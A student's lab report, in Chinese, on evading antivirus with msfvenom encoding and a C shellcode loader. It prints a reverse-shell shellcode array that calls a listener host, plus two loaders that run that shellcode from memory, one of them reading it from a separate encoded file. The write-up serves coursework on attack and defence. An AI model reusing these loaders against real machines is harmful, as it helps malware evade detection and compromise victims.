20242405 2026-2027-1 《网络与系统攻防技术》实验3实验报告

20242405 2026-2027-1 《网络与系统攻防技术》实验3实验报告

1. 基础知识\

本次实验围绕杀毒软件的检测机制与免杀技术展开。首先深入理解了杀软的三层检测原理:基于静态特征码的匹配、基于启发式的"像不像"推断,以及基于运行时的动态行为监控。在此理论基础上,实践了多种免杀手段:尝试使用msfvenom编码器混淆特征码,利用UPX等加壳工具改变文件结构,但这些传统方法因杀软特征库的不断升级而容易失效;最终重点实践了当前主流的"组件分离+文件化加载"技术,利用C语言编写Shellcode加载器,通过VirtualAlloc申请可执行内存、CreateThread创建新线程来动态执行载荷,并将经过十六进制转换与简单加密的Shellcode数据与执行代码分离存储,以此规避静态查杀。实验也揭示了静态免杀并不等于动态免杀,恶意代码在运行时解密并执行的内存操作仍可能触发EDR或云查杀的拦截,体现了攻防对抗的动态演进。

  • 2.实验内容\

    (1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • (2)通过组合应用各种技术实现恶意代码免杀。
  • 3.实验过程

  • 本次实验采用多重编码混合和组件分离来尝试实现免杀,但最终没能成功,原因可能在于无法反制动态免杀,程序在运行一段时间后被强制结束。

  • 生成多格式载荷:使用 msfvenom 生成 .exe 和 .jar
    等格式,体验不同文件格式的静态特征。并使用 shikata_ga_nai 对 .exe
    进行10次编码,尝试改变静态特征码。

  • e08a7593f18acaee5de81c2ea2cf0dea{width="5.764583333333333in"
    height="3.09375in"}

  • 39ffba1b6a04a085612f2fb610ccc392{width="5.7625in"
    height="3.310416666666667in"}

  • 生成 C 格式的
    Shellcode,并编写加载器代码,然后编译为window可执行文件.exe。

  • 50b8aed8e4bb154152c0476efe695454{width="5.761805555555555in"
    height="1.6222222222222222in"}

  • 2d3392aeef56904fb791004badabc2dc{width="5.71875in"
    height="4.583333333333333in"}

  • 3a98941667f5cdcebc95e099e8952d7d{width="5.763194444444444in"
    height="1.0430555555555556in"}

  • 加载器源代码如下:

  • include <windows.h>

  • include <stdio.h>

  • unsigned char buf[]
    ="\xfc\xe8\x90\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52""\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x24\x8b\x72\x28""\xbf\x21\x3b\xd1\x44\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20""\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b""\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50""\x8b\x58\x20\x8b\x48\x18\x01\xd3\x85\xc9\x74\x3a\x8b\x7d""\xf8\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\xed\xe1""\xc7\x38\xe0\x75\xf4\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24""\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b'"\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0""\x58\x5f\x5a\x8b\x12\xe9\x7f\xff\xff\xff\x5d\x68\x33\x32""\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x61\x23\x95\x44\x89""\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x12""\x1d\xc0\x22\xff\xd5\x6a\x0a\x68\xc0\xa8\x54\x83\x68\x02""\x00\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68""\xd3\xac\x33\x03\xff\xd5\x97\x6a\x10\x56\x57\x68\xb2\x9a"\x81\x02\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8""\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\xda\xe5\x01""\x5d\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00'"\x10\x00\x00\x56\x6a\x00\x68\x6d\x50\xc2\x22\xff\xd5\x93""\x53\x6a\x00\x56\x53\x57\x68\xda\xe5\x01\x5d\xff\xd5\x83""\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68""\x35\xf2\xbd\x55\xff\xd5\x57\x68\x65\x71\x91\xb8\xff\xd5""\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff""\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\x1a\x79\x51\x7c'"\x6a\x00\x53\xff\xd5";

  • int main() {

  • void* execMem = VirtualAlloc(0, sizeof(buf), MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);

  • if (execMem == NULL) return 1;

  • memcpy(execMem, buf, sizeof(buf));

  • HANDLE thread = CreateThread(NULL,
    0,$(LPTHREAD_{S}TART_{R}OUTINE)exec$Mem, NULL, 0, NULL);

  • if (thread == NULL) { VirtualFree(execMem, 0, MEM_RELEASE); return 1;
    }

  • WaitForSingleObject(thread, INFINITE);

  • CloseHandle(thread);

  • VirtualFree(execMem, 0, MEM_RELEASE);

  • return 0;

  • }

  • 然后实现组件分离,先生成原始 Shellcode,并进行简单加密

  • 1438ffba273e105025d40ce56f274c52{width="5.764583333333333in"
    height="4.019444444444445in"}

  • 编写分离加载器,源代码如下:

  • include <windows.h>

  • include <stdio.h>

  • define MAX_LEN 4096

  • unsigned char buf[MAX_LEN];

  • int main() {

  • int i = 0; unsigned int ch;

  • FILE* fp = fopen("encoded_20242405.txt", "r");

  • if (fp == NULL) return 1;

  • while (fscanf(fp, "%2x", &ch) == 1 && i < MAX_LEN) buf[i++] =
    (unsigned char)ch;

  • fclose(fp);

  • for (int j = 0; j < i; j++) buf[j] = buf[j] - 1; // 解密

  • void* execMem = VirtualAlloc(0, i, MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);

  • if (execMem == NULL) return 1;

  • memcpy(execMem, buf, i);

  • HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem,
    NULL, 0, NULL);

  • if (thread == NULL) { VirtualFree(execMem, 0, MEM_RELEASE); return 1;
    }

  • WaitForSingleObject(thread, INFINITE);

  • CloseHandle(thread);

  • VirtualFree(execMem, 0, MEM_RELEASE);

  • return 0;

  • }

  • 编译组合后下载到windows,放置于同一目录中,kali启动监听。

  • a1b970ccd9fa455cc8226642d60bbca7{width="5.7625in"
    height="2.104861111111111in"}

  • Windows靶机运行exe文件,窗口显现几秒后关闭,kali未能收到回显,判断为被动态免杀击杀,未能成功实现免杀。

  • 4.问题及解决方案

  • - 问题1:在尝试对msfvenom生成的恶意载荷进行UPX压缩加壳时,终端报错
    CantPackException: section size problem,无法完成加壳操作

  • -
    问题1解决方案:msfvenom生成的PE文件结构(如NT头与节区大小)并非由标准编译器输出,其自定义的节区结构导致UPX在解析时无法准确计算文件大小,出于安全保护机制拒绝打包;此外,现代杀毒软件早已将UPX作为常见特征库,单纯依赖UPX加壳本身也难以实现免杀。放弃使用UPX加壳。改变思路,重点实践"组件分离"技术,将Shellcode与执行代码分文件存储,从而降低静态特征,实现更高级别的免杀。。
    -
    问题2:在Kali中编写并交叉编译C语言Shellcode加载器时,终端报出一连串错误,提示标识符未声明、缺失括号或分号。
    - 问题2解决方案:使用快捷键ctrl+shift+v即可无遗漏特殊字符的进行粘贴。

  • -
    问题3:成功编译并运行分离加载器(loader.exe与encoded.txt)后,Windows端程序窗口一闪而过,Kali端的MSF监听始终未收到反弹Session。

-
问题3解决方案:原因分析:加密算法存在Bug:原始Shellcode中若包含0xFF字节,经过+1加密会变成0x100,转成十六进制文本后输出三个字符,导致Loader在读取时发生错位,进而引发内存执行崩溃。杀软动态查杀(EDR):虽然静态分离规避了特征码,但Loader在运行时调用VirtualAlloc申请可执行内存并调用CreateThread,触发了Windows
Defender的高危行为监控。路径问题:双击运行可能导致工作目录偏移,fopen找不到同目录下的txt文件,程序直接return退出。于是将加密方式改为"按位取反"(255 -
原值)以避免溢出问题;确保exe和txt文件处于同一绝对路径下并通过CMD命令行运行;在报告中记录,由于现代AV强大的内存扫描与行为拦截,仅靠基础分离技术仍会触发动态查杀,展现了攻防对抗的持续演进。

  • 5.学习感悟、思考等\

    本次实验未能完美结束,这告诉我们网络攻防技术日益精进,如逆水行舟不进则退,警示我们终身学习的重要性。
posted @ 2026-10-25 20:49  gchhghfgt  阅读(3)  评论(0)    收藏  举报